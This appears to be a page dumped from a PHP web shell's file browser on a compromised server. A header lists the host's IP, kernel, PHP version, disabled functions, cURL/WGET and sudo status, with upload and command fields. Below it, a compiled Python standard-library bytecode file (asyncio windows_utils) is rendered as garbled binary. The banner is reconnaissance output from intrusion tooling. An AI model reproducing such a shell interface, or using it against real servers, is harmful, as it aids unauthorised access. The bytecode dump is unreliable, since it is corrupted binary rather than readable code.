Server IP : 149.255.58.128 / Your IP : 216.73.216.237
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /usr/lib64/python3.9/asyncio/__pycache__//windows_utils.cpython-39.opt-2.pyc
a
�DOg� � @ s� d dl Z e jdkred��d dlZd dlZd dlZd dlZd dlZd dlZd dl Z dZ
dZejZej
Z
e�� Zdded�d d
�ZG dd� d�ZG d
d� dej�ZdS )� N�win32z
win32 only)�pipe�Popen�PIPE�
PipeHandlei F)TT)�duplex�
overlapped�bufsizec
C s$ t jd�t�� tt��d�}| r>tj}tj tj
B }|| }}ntj}tj
}d| }}|tjO }|d rp|tj
O }|d r�tj
}nd}d } }
z\t�||tjd||tjtj�} t�||dtjtj|tj�}
tj| dd�}|�d� | |
fW S | d u�rt�| � |
d u�rt�|
� � Y n0 d S )Nz\\.\pipe\python-pipe-{:d}-{:d}-)�prefixr � T�r )�tempfile�mktemp�format�os�getpid�next�
_mmap_counter�_winapiZPIPE_ACCESS_DUPLEXZGENERIC_READZ
GENERIC_WRITEZPIPE_ACCESS_INBOUNDZFILE_FLAG_FIRST_PIPE_INSTANCEZFILE_FLAG_OVERLAPPEDZCreateNamedPipeZ PIPE_WAITZNMPWAIT_WAIT_FOREVERZNULLZ
CreateFileZ
OPEN_EXISTINGZConnectNamedPipeZGetOverlappedResult�CloseHandle)r r r �addressZopenmode�accessZobsizeZibsizeZflags_and_attribsZh1Zh2Zov� r �-/usr/lib64/python3.9/asyncio/windows_utils.pyr sJ ��
��
r c @ s^ e Zd Zdd� Zdd� Zedd� �Zdd� Zej d �d
d�Z
ejfdd
�Z
dd� Zdd� ZdS )r c C s
|| _ d S �N��_handle��self�handler r r �__init__V s zPipeHandle.__init__c C s2 | j d urd| j ��}nd}d| jj� d|� d�S )Nzhandle=�closed�<� �>)r � __class__�__name__r r r r �__repr__Y s
zPipeHandle.__repr__c C s | j S r r �r r r r r ` s zPipeHandle.handlec C s | j d u rtd��| j S )NzI/O operation on closed pipe)r �
ValueErrorr( r r r �filenod s
zPipeHandle.fileno)r c C s | j d ur|| j � d | _ d S r r )r r r r r �closei s
zPipeHandle.closec C s* | j d ur&|d| ��t| d� | �� d S )Nz unclosed )�source)r �ResourceWarningr+ )r �_warnr r r �__del__n s
zPipeHandle.__del__c C s | S r r r( r r r � __enter__s s zPipeHandle.__enter__c C s | � � d S r )r+ )r �t�v�tbr r r �__exit__v s zPipeHandle.__exit__N)r&